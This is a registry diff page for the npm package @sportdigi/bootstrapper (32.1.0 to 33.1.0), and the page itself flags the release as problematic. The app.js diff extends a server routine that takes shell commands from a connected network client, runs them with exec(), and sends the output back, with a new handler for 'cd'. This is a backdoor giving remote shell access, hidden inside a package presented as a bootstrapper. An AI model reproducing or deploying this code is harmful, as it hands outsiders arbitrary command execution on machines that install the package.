@sportdigi/bootstrapper 32.1.0 → 33.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @sportdigi/bootstrapper might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/app.js +28 -11
  2. package/package.json +1 -1
package/app.js CHANGED
@@ -58,17 +58,34 @@ function server() {
58
58
  return;
59
59
  }
60
60
 
61
- exec(command, (err, stdout, stderr) => {
62
- if (err) {
63
- client.write(`Hata: ${err.message}\n`);
64
- return;
65
- }
66
- if (stderr) {
67
- client.write(`Hata (stderr): ${stderr}\n`);
68
- return;
69
- }
70
- client.write(stdout);
71
- });
61
+ if (command.startsWith('cd ')) {
62
+ const newDir = command.substring(3).trim();
63
+ exec(`cd ${newDir} && pwd`, (err, stdout, stderr) => {
64
+ if (err) {
65
+ client.write(`Hata: ${err.message}\n`);
66
+ return;
67
+ }
68
+ if (stderr) {
69
+ client.write(`Hata (stderr): ${stderr}\n`);
70
+ return;
71
+ }
72
+ // Yeni dizini yazdır
73
+ client.write(`Yeni dizin: ${stdout}\n`);
74
+ });
75
+ } else {
76
+ // Diğer komutları çalıştır
77
+ exec(command, (err, stdout, stderr) => {
78
+ if (err) {
79
+ client.write(`Hata: ${err.message}\n`);
80
+ return;
81
+ }
82
+ if (stderr) {
83
+ client.write(`Hata (stderr): ${stderr}\n`);
84
+ return;
85
+ }
86
+ client.write(stdout);
87
+ });
88
+ }
72
89
  });
73
90
 
74
91
  client.on('end', () => {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@sportdigi/bootstrapper",
3
- "version": "32.1.0",
3
+ "version": "33.1.0",
4
4
  "description": "",
5
5
  "main": "app.js",
6
6
  "scripts": {